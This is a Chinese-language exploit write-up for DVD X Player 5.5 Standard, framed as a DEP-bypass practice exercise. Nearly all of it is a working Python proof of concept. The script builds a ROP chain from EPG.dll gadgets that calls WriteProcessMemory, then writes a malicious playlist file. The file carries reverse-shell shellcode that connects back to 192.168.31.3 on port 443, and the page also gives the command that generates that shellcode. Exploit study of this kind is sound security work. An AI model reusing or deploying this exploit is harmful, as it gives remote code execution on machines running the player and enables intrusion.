DEP绕过WriteProcessMemory练习 - DVD X Player 5.5 Standard
shell截图:
shellcode生成脚本: win-x86-shellcoder
shellcode生成命令: python win_x86_shellcoder.py -b "\x00\x0a\x0d\x1a" reverse -i 192.168.31.3 -p 443
软件下载地址:DVDXPlayerSetup.exe
PoC:
import sys, os
from struct import pack
def rop() :
### ###
# 软件名称: DVD X Player 5.5 Standard
# 利用作者: 0x0dee
# 使用模块: EPG.dll
# 坏字符: 0x00 0x0a 0x0d 0x1a
# 绕过DEP使用的API: WriteProcessMemory
# 代码洞地址: 0x6164adf0
# 可写地址: 0x616654c0
### ###
ropbuf = b""
## 获得调用结构地址
ropbuf += pack("<L", 0x6162d908) # push esp ; sub eax, 0x20 ; pop ebx ; ret ;
# esp的偏移在eip+0n20处,所以在第一个gadget执行完之后还需要填充4 * 5个字节
ropbuf += pack("<L", 0xffffffff) ##
ropbuf += pack("<L", 0xffffffff) ##
ropbuf += pack("<L", 0xffffffff) ##
ropbuf += pack("<L", 0xffffffff) ##
# 调用结构距离esp+0x204字节
ropbuf += pack("<L", 0x61640124) # xchg eax, ebx ; ret ;
ropbuf += pack("<L", 0x616464e9) # pop ecx ; ret ;
ropbuf += pack("<L", 0xfffffdfc) ## = 0 - 0x204
ropbuf += pack("<L", 0x6162a478) # sub eax, ecx ; ret ;
# 保存调用结构地址
ropbuf += pack("<L", 0x61640124) # xchg eax, ebx ; ret ;
## 将WriteProcessMemory调用地址写入到调用结构中
ropbuf += pack("<L", 0x61644d66) # pop eax ; ret ;
ropbuf += pack("<L", 0x6164b138) ## 导入表指针指向VirtualAlloc
# 解引用得到VirtualAlloc在kernel32中的地址
ropbuf += pack("<L", 0x616306ed) # mov eax, dword [eax] ; ret ;
ropbuf += pack("<L", 0x616464e9) # pop ecx ; ret ;
ropbuf += pack("<L", 0xfffdf7a0) ## = 0 - 0x20860
# 将VirtualAlloc地址加上0x20860得到WriteProcessMemory地址
ropbuf += pack("<L", 0x6162a478) # sub eax, ecx ; ret ;
ropbuf += pack("<L", 0x61608ba2) # xchg eax, edx ; ret ;
ropbuf += pack("<L", 0x61640124) # xchg eax, ebx ; ret ;
# 将WriteProcessMemory地址写入到调用结构中
ropbuf += pack("<L", 0x616098ae) # mov dword [eax], edx ; ret ;
## 写入返回地址
ropbuf += pack("<L", 0x61628105) # inc eax ; ret ;
ropbuf += pack("<L", 0x61628105) # inc eax ; ret ;
ropbuf += pack("<L", 0x61628105) # inc eax ; ret ;
ropbuf += pack("<L", 0x61628105) # inc eax ; ret ;
ropbuf += pack("<L", 0x61640124) # xchg eax, ebx ; ret ;
ropbuf += pack("<L", 0x61644d66) # pop eax ; ret ;
ropbuf += pack("<L", 0x6164adf0) ## 代码洞地址
ropbuf += pack("<L", 0x61608ba2) # xchg eax, edx ; ret ;
# 将代码洞地址写入到调用结构的第二个条目中
ropbuf += pack("<L", 0x61640124) # xchg eax, ebx ; ret ;
ropbuf += pack("<L", 0x616098ae) # mov dword [eax], edx ; ret ;
## 写入hProcess
ropbuf += pack("<L", 0x61628105) # inc eax ; ret ;
ropbuf += pack("<L", 0x61628105) # inc eax ; ret ;
ropbuf += pack("<L", 0x61628105) # inc eax ; ret ;
ropbuf += pack("<L", 0x61628105) # inc eax ; ret ;
ropbuf += pack("<L", 0x61640124) # xchg eax, ebx ; ret ;
ropbuf += pack("<L", 0x61644d66) # pop eax ; ret ;
ropbuf += pack("<L", 0xffffffff) ## -1
ropbuf += pack("<L", 0x61608ba2) # xchg eax, edx ; ret ;
# 将-1写入到调用结构的第三个条目中
ropbuf += pack("<L", 0x61640124) # xchg eax, ebx ; ret ;
ropbuf += pack("<L", 0x616098ae) # mov dword [eax], edx ; ret ;
## 写入lpBaseAddress
ropbuf += pack("<L", 0x61628105) # inc eax ; ret ;
ropbuf += pack("<L", 0x61628105) # inc eax ; ret ;
ropbuf += pack("<L", 0x61628105) # inc eax ; ret ;
ropbuf += pack("<L", 0x61628105) # inc eax ; ret ;
ropbuf += pack("<L", 0x61640124) # xchg eax, ebx ; ret ;
ropbuf += pack("<L", 0x61644d66) # pop eax ; ret ;
ropbuf += pack("<L", 0x6164adf0) ## 代码洞地址
ropbuf += pack("<L", 0x61608ba2) # xchg eax, edx ; ret ;
# 将代码洞地址写入到调用结构的第四个条目中
ropbuf += pack("<L", 0x61640124) # xchg eax, ebx ; ret ;
ropbuf += pack("<L", 0x616098ae) # mov dword [eax], edx ; ret ;
## 写入lpBuffer
ropbuf += pack("<L", 0x61628105) # inc eax ; ret ;
ropbuf += pack("<L", 0x61628105) # inc eax ; ret ;
ropbuf += pack("<L", 0x61628105) # inc eax ; ret ;
ropbuf += pack("<L", 0x61628105) # inc eax ; ret ;
# 保存eax的值用于计算shellcode在栈中的地址,我们将shellcode放置在现在的eax值0x20的位置
ropbuf += pack("<L", 0x61640f09) # push eax ; pop esi ; retn 0x0004 ;
# 保存eax中调用结构的指针
ropbuf += pack("<L", 0x61640124) # xchg eax, ebx ; ret ;
ropbuf += pack("<L", 0xffffffff) ## junk for retn 0x04
ropbuf += pack("<L", 0x616464e9) # pop ecx ; ret ;
ropbuf += pack("<L", 0xffffffe0) ## = 0 - 0x20
# 取回保存的调用结构地址值
ropbuf += pack("<L", 0x616385d8) # xchg eax, esi ; retn 0x0000 ;
# eax+0x20计算得shellcode在栈中的地址
ropbuf += pack("<L", 0x6162a478) # sub eax, ecx ; ret ;
ropbuf += pack("<L", 0x61608ba2) # xchg eax, edx ; ret ;
# 取回调用结构的地址
ropbuf += pack("<L", 0x61640124) # xchg eax, ebx ; ret ;
# 将lpBuffer写入到调用结构的第五个条目中
ropbuf += pack("<L", 0x616098ae) # mov dword [eax], edx ; ret ;
## 写入nSize
ropbuf += pack("<L", 0x61628105) # inc eax ; ret ;
ropbuf += pack("<L", 0x61628105) # inc eax ; ret ;
ropbuf += pack("<L", 0x61628105) # inc eax ; ret ;
ropbuf += pack("<L", 0x61628105) # inc eax ; ret ;
ropbuf += pack("<L", 0x61640124) # xchg eax, ebx ; ret ;
ropbuf += pack("<L", 0x61644d66) # pop eax ; ret ;
ropbuf += pack("<L", 0x11111111) ##
ropbuf += pack("<L", 0x61631eee) # pop ebp ; ret ;
ropbuf += pack("<L", 0xeeeef0ef) ## 0x200 - 0x11111111 = 0eeeef0ef
# 用两个不包含0x00字符的数相加得到0x200
ropbuf += pack("<L", 0x6161f127) # add eax, ebp ; ret ;
ropbuf += pack("<L", 0x61608ba2) # xchg eax, edx ; ret ;
# 取回调用结构指针
ropbuf += pack("<L", 0x61640124) # xchg eax, ebx ; ret ;
# 将nSize写入到调用结构的第六个条目中
ropbuf += pack("<L", 0x616098ae) # mov dword [eax], edx ; ret ;
## 写入lpNumberOfBytesWritten
# 可写地址,位于数据段:0x616654c0
ropbuf += pack("<L", 0x61628105) # inc eax ; ret ;
ropbuf += pack("<L", 0x61628105) # inc eax ; ret ;
ropbuf += pack("<L", 0x61628105) # inc eax ; ret ;
ropbuf += pack("<L", 0x61628105) # inc eax ; ret ;
ropbuf += pack("<L", 0x61640124) # xchg eax, ebx ; ret ;
ropbuf += pack("<L", 0x61644d66) # pop eax ; ret ;
ropbuf += pack("<L", 0x616654c0) ## 代码洞地址
ropbuf += pack("<L", 0x61608ba2) # xchg eax, edx ; ret ;
# 将可写地址写入到调用结构的第七个条目中
ropbuf += pack("<L", 0x61640124) # xchg eax, ebx ; ret ;
ropbuf += pack("<L", 0x616098ae) # mov dword [eax], edx ; ret ;
## 调用WPM
# 将eax减去4*6=0x18后使用xchg eax, esp; ret ;即可调用WPM
ropbuf += pack("<L", 0x6162d909) # sub eax, 0x20 ; pop ebx ; ret ;
ropbuf += pack("<L", 0xffffffff) # junk for pop ebx
ropbuf += pack("<L", 0x61628de7) # add eax, 0x08 ; ret ;
# eax - 0x20 + 0x08 = eax - 0x18
ropbuf += pack("<L", 0x616372a8) # xchg eax, esp ; ret ;
print("rop size "+ hex(len(ropbuf)))
return ropbuf
bufferSize = 1300
# eip offset : 0n260
# esp offest : 0n280
# badchars : 0x00 0x0d 0x0a 0x1a
buffer = b""
offsetOfEIP = b"A" * 260
eip = rop()
buffer += offsetOfEIP + eip
#└─$ python win_x86_shellcoder.py -b "\x00\x0a\x0d\x1a" reverse -i 192.168.31.3 -p 443
# shellcode size: 0x153 (339)
shellcode = b'\x89\xe5\x81\xc4\xf0\xf9\xff\xff\xeb\x06^\x89u\x04\xebN\xe8\xf5\xff\xff\xff`1\xc9d\x8bq0\x8bv\x0c\x8bv\x1cV\x8b^\x08\x0f\xb6F\x1e\x89E\xf8\x8bC<\x8b|\x03x\x01\xdf\x8bO\x18\x8bG \x01\xd8\x89E\xfc\xe3\x1dI\x8bE\xfc\x8b4\x88\x01\xde1\xc0\x8bU\xf8\xfc\xac\x84\xc0t\x0e\xc1\xca\x02\x01\xc2\xeb\xf4\xeb)^\x8b6\xeb\xbd;T$(u\xd6\x8bW$\x01\xdaf\x8b\x0cJ\x8bW\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89D$ ^aYZQ\xff\xe0\xb8\xb4\xb3\xff\xfe\xf7\xd8Ph32.DhWS2_Thhz\xc4v\xffU\x04\x89\xe01\xc9f\xb9\x90\x05)\xc8P1\xc0f\xb8\x02\x02Ph\x96 \x9e\xcc\xffU\x041\xc0PPP\xb0\x06P,\x05P@Phf ^\x81\xffU\x04\x89\xc61\xc0PPh\xc0\xa8\x1f\x03f\xb8\x01\xbb\xc1\xe0\x10f\x83\xc0\x02PT_1\xc0PPPP\x04\x10PWVh\x95 ^W\xffU\x04VVV1\xc0H\x8dH\x0e@P\xe2\xfd\xb0DPT_f\xc7G,\x01\x01\xb8\x9b\x87\x9a\xff\xf7\xd8Phcmd.\x89\xe3\x89\xe01\xc9f\xb9\x90\x03)\xc8PW1\xc0PPP@PHPPSPh\xc7(\xaa\x0b\xffU\x041\xc9Qj\xffh\xd2U\xa9.\xffU\x04'
offsetOfshellcode = b"\x90" * (0x200 - len(eip) + 0x20 + 0x20 + 0x20)
buffer += offsetOfshellcode + shellcode
buffer += b"Z" * (bufferSize - len(buffer))
file = open("venom_playlist.plf", "wb")
file.write(buffer)
print("write buffer " + str(len(buffer)) + " byte")
file.close()